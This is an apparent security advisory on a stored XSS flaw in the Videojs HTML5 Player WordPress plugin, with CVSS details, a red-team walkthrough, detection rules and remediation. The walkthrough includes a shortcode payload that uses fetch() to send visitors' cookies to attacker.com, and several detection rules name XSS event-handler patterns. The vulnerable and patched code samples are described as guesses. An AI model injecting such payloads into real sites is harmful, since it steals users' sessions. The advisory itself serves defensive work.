CVE-2024-5205

Executive Summary

CVE-2024-5205 is a Stored Cross-Site Scripting (XSS) vulnerability in the Videojs HTML5 Player WordPress plugin, affecting all versions up to and including 1.1.11. The flaw resides in the videojs_video shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits an infected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, site administrators must consider removing or disabling the plugin until a fix is released. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for stored XSS can lead to broader compromise of the WordPress site and its users.

Deep Dive & Mechanics

The vulnerability exists in the videojs_video shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., src, poster, class, id, data-*). An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious payloads in attribute values. For example:

[videojs_video src="javascript:alert('XSS')" poster="x" onerror="alert(1)"]

When the shortcode is rendered, the unsanitized attributes are output directly into the HTML, allowing script execution. The stored XSS persists in the database and executes for any user viewing the compromised page.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1.11): The plugin likely uses echo or print without proper escaping. Example:

function videojs_shortcode($atts) {
    $src = $atts['src'];
    echo "<video src='$src'></video>";
}

Patched Code (hypothetical): Proper escaping using WordPress functions like esc_url() and esc_attr():

function videojs_shortcode($atts) {
    $src = esc_url($atts['src']);
    echo "<video src='" . esc_attr($src) . "'></video>";
}

Since no official patch exists, administrators must manually apply similar sanitization or disable the plugin.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Videojs HTML5 Player plugin <= 1.1.11
• Attacker account with contributor-level access or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the malicious shortcode:

   [videojs_video src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. When an administrator or visitor views the post, the XSS payload executes, exfiltrating cookies.

Alternative payload:

[videojs_video src="x" onmouseover="alert(1)"]

Blue Team (Detection & Defense)

Detection:

• Monitor for posts/pages containing the videojs_video shortcode with suspicious attributes.
• Use WAF rules to block common XSS patterns in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Defense:

• Disable or remove the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/videojs-html5-player/ (presence of plugin)
• Database: Posts/pages containing [videojs_video shortcode with suspicious attributes (e.g., onerror, onmouseover, javascript:)
• Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend
• Logs: Unusual shortcode usage in post revisions or activity logs

Detection Engineering

YARA Rule

rule CVE_2024_5205_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Videojs HTML5 Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5205"
    strings:
        $shortcode = /\[videojs_video[^\]]*?(onerror|onmouseover|onclick|javascript:)[^\]]*?\]/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-5205 Stored XSS via Videojs Shortcode
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects posts/pages containing malicious videojs_video shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "videojs_video"
        http.body|contains|all:
            - "onerror"
            - "onmouseover"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5205 Stored XSS via Videojs Shortcode"; flow:to_server,established; content:"videojs_video"; http_uri; pcre:"/\[videojs_video[^\]]*?(onerror|onmouseover|onclick|javascript:)[^\]]*?\]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Videojs HTML5 Player plugin until a patch is released.
2. Audit existing content – Search for posts/pages containing the videojs_video shortcode and remove or sanitize them.
3. Review user roles – Limit contributor-level access to trusted users only.

Long-term Fix:

• Apply input sanitization and output escaping to the shortcode handler (see patched code example).
• Monitor the plugin repository for an official update.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT